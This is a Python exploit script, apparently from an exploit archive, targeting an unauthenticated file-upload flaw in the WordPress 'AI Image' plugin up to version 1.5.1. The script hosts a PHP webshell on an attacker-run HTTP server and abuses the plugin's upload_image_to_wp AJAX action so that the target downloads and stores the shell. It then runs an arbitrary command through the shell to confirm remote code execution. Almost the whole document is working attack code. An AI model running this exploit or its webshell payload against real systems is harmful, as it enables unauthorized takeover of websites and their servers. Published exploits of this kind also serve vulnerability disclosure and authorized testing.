Share
## https://sploitus.com/exploit?id=PACKETSTORM:226408
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin AI Image (WP AI Image Generator) <= 1.5.1 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/ai-image/
    # Software Link: https://downloads.wordpress.org/plugin/ai-image.1.5.1.zip
    # Version: 1.5.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-52377
    """
    AI Image <= 1.5.1 registers the unauthenticated AJAX action `upload_image_to_wp`.
    The handler fetches attacker-controlled `image_url` with file_get_contents() and writes it to
    the current uploads directory using basename(image_url), without validating the extension or
    requiring a nonce/capability (inc/generator/demo-media/demo-media.php:74-121, 163-164).
    Pointing it at a .php payload therefore writes an executable webshell.
    """
    import argparse, sys, time, os, threading, http.server, socketserver, datetime
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "AIIMG_PWNED"
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--lhost", default="host.docker.internal")
        ap.add_argument("--lport", type=int, default=8971)
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--name", default="aishell_"+os.urandom(3).hex()+".php")
        a = ap.parse_args(); base = a.target.rstrip("/")
        pl = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
        class H(http.server.BaseHTTPRequestHandler):
            def do_GET(s): s.send_response(200); s.send_header("Content-Length", str(len(pl))); s.end_headers(); s.wfile.write(pl)
            def log_message(s, *x): pass
        socketserver.TCPServer.allow_reuse_address = True
        hd = socketserver.TCPServer(("0.0.0.0", a.lport), H)
        threading.Thread(target=hd.serve_forever, daemon=True).start(); time.sleep(0.5)
        u = "http://%s:%d/%s" % (a.lhost, a.lport, a.name)
        print("[*] Target:", base, "| payload:", u)
        r = requests.post(base + "/wp-admin/admin-ajax.php",
                          data={"action": "upload_image_to_wp", "image_url": u},
                          timeout=30, verify=False)
        print("[*] upload_image_to_wp ->", r.status_code, r.text[:160]); time.sleep(1)
        now = datetime.datetime.now(datetime.timezone.utc)
        for p in ["/wp-content/uploads/%d/%02d/%s" % (now.year, now.month, a.name),
                  "/wp-content/uploads/%s" % a.name]:
            rr = requests.get(base + p, params={"c": a.cmd}, timeout=15, verify=False)
            if TOK in rr.text:
                print("\n[+] RCE CONFIRMED at", p); print(rr.text.split(TOK + ":")[1].strip()); hd.shutdown(); return 0
        print("\n[-] not confirmed"); hd.shutdown(); return 1
    
    if __name__ == "__main__":
        sys.exit(main())